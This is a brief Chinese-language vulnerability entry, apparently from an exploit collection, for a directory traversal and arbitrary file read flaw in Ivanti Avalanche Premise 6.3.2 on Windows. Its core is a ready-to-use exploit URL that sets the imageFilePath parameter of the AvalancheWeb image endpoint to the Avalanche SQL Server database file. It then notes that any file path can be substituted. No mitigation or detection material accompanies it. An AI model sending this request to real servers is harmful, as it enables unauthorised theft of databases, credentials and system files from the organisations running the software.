Ivanti Avalanche 目录遍歷&任意文件讀取漏洞

影響範圍

Avalanche Premise 6.3.2 for Windows v6.3.2.3490

漏洞利用

訪問

https://IP:8443/AvalancheWeb/image?imageFilePath=C:/Program Files/Microsoft SQL Server/MSSQL11.SQLEXPRESS/MSSQL/DATA/Avalanche.mdf

即可，imageFilePath=後面加文件的路徑。